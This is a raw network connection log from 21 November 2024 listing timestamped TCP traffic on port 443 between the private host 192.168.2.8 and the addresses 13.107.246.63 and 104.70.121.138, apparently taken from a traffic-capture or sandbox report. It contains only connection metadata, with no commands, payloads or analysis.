Nov 21, 2024 19:59:57.412280083 CET	49902	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.412985086 CET	49902	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.413008928 CET	443	49902	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.413023949 CET	49902	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.413029909 CET	443	49902	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.416695118 CET	49906	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.416733027 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.416791916 CET	49906	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.416934013 CET	49906	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.416940928 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.461813927 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.461875916 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.461931944 CET	49903	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.491641045 CET	49903	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.491672993 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.491686106 CET	49903	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.491692066 CET	443	49903	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.496179104 CET	49907	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.496244907 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.496337891 CET	49907	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.496469021 CET	49907	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.496500969 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.801294088 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.802155972 CET	49899	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.802191973 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:57.802716017 CET	49899	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:57.802721024 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.422805071 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.422888994 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.423201084 CET	49899	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.423254967 CET	49899	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.423254967 CET	49899	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.423280001 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.423293114 CET	443	49899	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.426820040 CET	49908	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.426850080 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.426934958 CET	49908	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.427112103 CET	49908	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.427124977 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.698846102 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.700601101 CET	49904	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.700634003 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.701136112 CET	49904	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.701142073 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.893115997 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.893727064 CET	49905	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.893814087 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:58.894221067 CET	49905	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:58.894234896 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.175374031 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.175445080 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.175496101 CET	49904	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.175718069 CET	49904	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.175739050 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.175751925 CET	49904	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.175759077 CET	443	49904	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.182439089 CET	49909	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.182462931 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.182523012 CET	49909	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.191263914 CET	49909	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.191282988 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.264523983 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.265208960 CET	49906	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.265253067 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.265853882 CET	49906	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.265862942 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.286874056 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.287483931 CET	49907	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.287568092 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.288197041 CET	49907	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.288213015 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.353179932 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.353266954 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.353379011 CET	49905	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.353653908 CET	49905	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.353698969 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.353753090 CET	49905	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.353770018 CET	443	49905	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.356808901 CET	49910	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.356852055 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.356923103 CET	49910	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.357084990 CET	49910	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.357100010 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.718413115 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.718486071 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.718537092 CET	49906	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.718724012 CET	49906	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.718756914 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.718770981 CET	49906	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.718780994 CET	443	49906	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.721851110 CET	49911	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.721904039 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.721977949 CET	49911	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.722112894 CET	49911	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.722122908 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.733215094 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.733269930 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.733376980 CET	49907	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.733534098 CET	49907	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.733572960 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.733599901 CET	49907	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.733614922 CET	443	49907	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.736363888 CET	49912	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.736386061 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 19:59:59.736531019 CET	49912	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.736671925 CET	49912	443	192.168.2.8	13.107.246.63
Nov 21, 2024 19:59:59.736684084 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.208595037 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.209306002 CET	49908	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.209316015 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.209815979 CET	49908	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.209820032 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.857876062 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.858298063 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.858365059 CET	49908	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.858418941 CET	49908	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.858432055 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.858443022 CET	49908	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.858448982 CET	443	49908	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.861485004 CET	49913	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.861516953 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.861603975 CET	49913	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.861747980 CET	49913	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.861761093 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.972917080 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.974361897 CET	49909	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.974384069 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:00.975367069 CET	49909	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:00.975373030 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.155657053 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.163069010 CET	49910	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.163101912 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.171367884 CET	49910	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.171376944 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.425968885 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.426074028 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.426126003 CET	49909	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.426357985 CET	49909	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.426378965 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.426390886 CET	49909	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.426397085 CET	443	49909	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.430694103 CET	49914	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.430720091 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.430799007 CET	49914	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.431319952 CET	49914	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.431330919 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.445261002 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.445938110 CET	49911	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.445961952 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.446440935 CET	49911	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.446446896 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.554717064 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.555629015 CET	49912	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.555640936 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.556197882 CET	49912	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.556200981 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.621845007 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.621944904 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.622003078 CET	49910	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.622273922 CET	49910	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.622287035 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.622292042 CET	49910	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.622297049 CET	443	49910	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.633491993 CET	49915	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.633527994 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.633590937 CET	49915	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.633749962 CET	49915	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.633760929 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.840061903 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 20:00:01.840178967 CET	443	49870	104.70.121.138	192.168.2.8
Nov 21, 2024 20:00:01.840274096 CET	49870	443	192.168.2.8	104.70.121.138
Nov 21, 2024 20:00:01.924066067 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.924132109 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.924190998 CET	49911	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.924611092 CET	49911	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.924632072 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.924642086 CET	49911	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.924647093 CET	443	49911	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.929050922 CET	49916	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.929079056 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.929146051 CET	49916	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.929301023 CET	49916	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.929315090 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.998233080 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.998286963 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.998398066 CET	49912	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.998727083 CET	49912	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.998739958 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:01.998749971 CET	49912	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:01.998754978 CET	443	49912	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:02.002262115 CET	49917	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:02.002299070 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:02.002393007 CET	49917	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:02.002551079 CET	49917	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:02.002566099 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:02.675257921 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:02.678817034 CET	49913	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:02.678832054 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:02.679291010 CET	49913	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:02.679296017 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.119831085 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.119905949 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.119966030 CET	49913	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.120218039 CET	49913	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.120256901 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.120276928 CET	49913	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.120291948 CET	443	49913	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.123598099 CET	49918	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.123631001 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.123704910 CET	49918	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.123868942 CET	49918	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.123888016 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.362607956 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.363337040 CET	49914	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.363353014 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.364114046 CET	49914	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.364120007 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.437124014 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.437871933 CET	49915	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.437927008 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.438394070 CET	49915	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.438400030 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.526942968 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.527667046 CET	49916	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.527695894 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.528343916 CET	49916	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.528347969 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.722856998 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.723635912 CET	49917	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.723674059 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.724299908 CET	49917	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.724309921 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.815018892 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.815103054 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.815160036 CET	49914	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.815411091 CET	49914	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.815429926 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.815440893 CET	49914	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.815447092 CET	443	49914	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.819197893 CET	49919	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.819243908 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.819308043 CET	49919	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.819499969 CET	49919	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.819511890 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.907864094 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.907953978 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.908032894 CET	49915	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.908370972 CET	49915	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.908384085 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.908395052 CET	49915	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.908400059 CET	443	49915	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.913003922 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.913045883 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.913111925 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.913631916 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.913641930 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.979792118 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.979882956 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.979986906 CET	49916	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.980303049 CET	49916	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.980335951 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.980349064 CET	49916	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.980357885 CET	443	49916	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.984121084 CET	49921	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.984224081 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:03.984335899 CET	49921	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.984508991 CET	49921	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:03.984539032 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.159852982 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.159934044 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.160034895 CET	49917	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:04.160342932 CET	49917	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:04.160357952 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.160367966 CET	49917	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:04.160372972 CET	443	49917	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.164331913 CET	49922	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:04.164401054 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.164484024 CET	49922	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:04.164633989 CET	49922	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:04.164659023 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.905402899 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.906645060 CET	49918	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:04.906676054 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:04.906968117 CET	49918	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:04.906976938 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.363522053 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.363604069 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.363739967 CET	49918	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.364017963 CET	49918	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.364017963 CET	49918	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.364042997 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.364058018 CET	443	49918	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.374440908 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.374494076 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.374619007 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.375365973 CET	49923	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.375376940 CET	443	49923	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.605345964 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.606044054 CET	49919	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.606062889 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.606601954 CET	49919	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.606606960 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.695307970 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.695911884 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.695981979 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.696547985 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.696563005 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.791058064 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.791774988 CET	49921	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.791856050 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.792300940 CET	49921	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.792315960 CET	443	49921	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.965756893 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.966579914 CET	49922	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.966650009 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:05.967267036 CET	49922	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:05.967283964 CET	443	49922	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.051209927 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.051309109 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.051527023 CET	49919	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.051680088 CET	49919	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.051703930 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.051744938 CET	49919	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.051752090 CET	443	49919	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.055479050 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.055551052 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.055629015 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.055820942 CET	49924	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.055834055 CET	443	49924	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.144531012 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.144594908 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.144733906 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.144876003 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.144876003 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.145189047 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.145210028 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.145221949 CET	49920	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.145227909 CET	443	49920	13.107.246.63	192.168.2.8
Nov 21, 2024 20:00:06.149216890 CET	49925	443	192.168.2.8	13.107.246.63
Nov 21, 2024 20:00:06.149266958 CET	443	49925	13.107.246.63	192.168.2.8
